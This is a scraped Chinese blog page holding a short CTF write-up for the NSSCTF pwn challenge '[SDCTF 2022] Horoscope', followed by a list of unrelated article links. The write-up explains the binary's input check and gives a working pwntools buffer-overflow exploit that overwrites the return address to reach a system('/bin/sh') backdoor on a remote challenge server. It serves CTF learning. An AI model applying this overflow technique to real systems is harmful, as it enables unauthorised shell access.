当前位置: 首页 > news >正文

NSSCTF(PWN)16

[SDCTF 2022]Horoscope

发现是64位文件

fflush(stdout); // 尝试清除标准输出缓冲区
fgets(s, 320, stdin); // 从标准输入读取一行
processInput(s); // 处理输入

如果v4的值不在1到12之间,打印一条错误消息,并使用fflush(stdout)确保错误消息立即输出,然后调用exit(1)终止程序,我们要输入一个1-12的值

发现这道题有system和binsh

这里可以看到如果调用变量temp的值为1时,那么函数就会调用system("/bin/sh");

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28939')
door = 0x40095f
padding =b'9'+ b'a'*(0x30+0x7) #这里b''可以随便写一个1-12的值
payload = padding + p64(door)
io.sendlineafter(b'horoscope',payload)
io.interactive()

得到flag


http://www.mrgr.cn/news/58013.html

相关文章:

  • 集群系统盘损坏后的服务恢复
  • OpenCV视觉分析之运动分析(2)背景减除类:BackgroundSubtractorKNN的使用
  • 【iOS】UICollectionView的使用方法
  • 我与C语言二周目邂逅vlog——8.编译和链接
  • GS-SLAM Dense Visual SLAM with 3D Gaussian Splatt 论文阅读
  • 业余时间试一试利用AI 人工智能赚钱
  • 6SV辐射传输模型编译和加入自定义传感器参数
  • 【模型部署】python中socket编程入门知识-系列1
  • 【Linux学习】(4)Linux权限
  • MyBatis-Plus(三):使用自定义目录下的xml时踩坑记录
  • CMake中的List关键词:详细指南
  • 数据结构与算法——Java实现 46. 从前序与中序遍历序列构造二叉树
  • 【多线程和高并发】多线程和高并发提纲
  • Gradle核心概念总结
  • 论软件著作权
  • 线性可分支持向量机代码实现
  • Python 代码的主要功能是从给定的日志文件和设备列表中提取特定设备(华为和华三)的用户账号信息
  • Java 开发——(下篇)从零开始搭建后端基础项目 Spring Boot 3 + MybatisPlus
  • AI基础:传教士与野人
  • Python如何处理zip压缩文件(Python处理zip压缩文件接口源码)
  • SLAM:未来智能科技的核心——探索多传感器融合的无限可
  • [蓝桥杯 2024 省 C] 回文数组
  • LeetCode199. 二叉树的右视图(2024秋季每日一题 47)
  • Linux 权限的理解
  • 前端发送请求格式
  • 1024——视触觉传感器GelSight的前世今生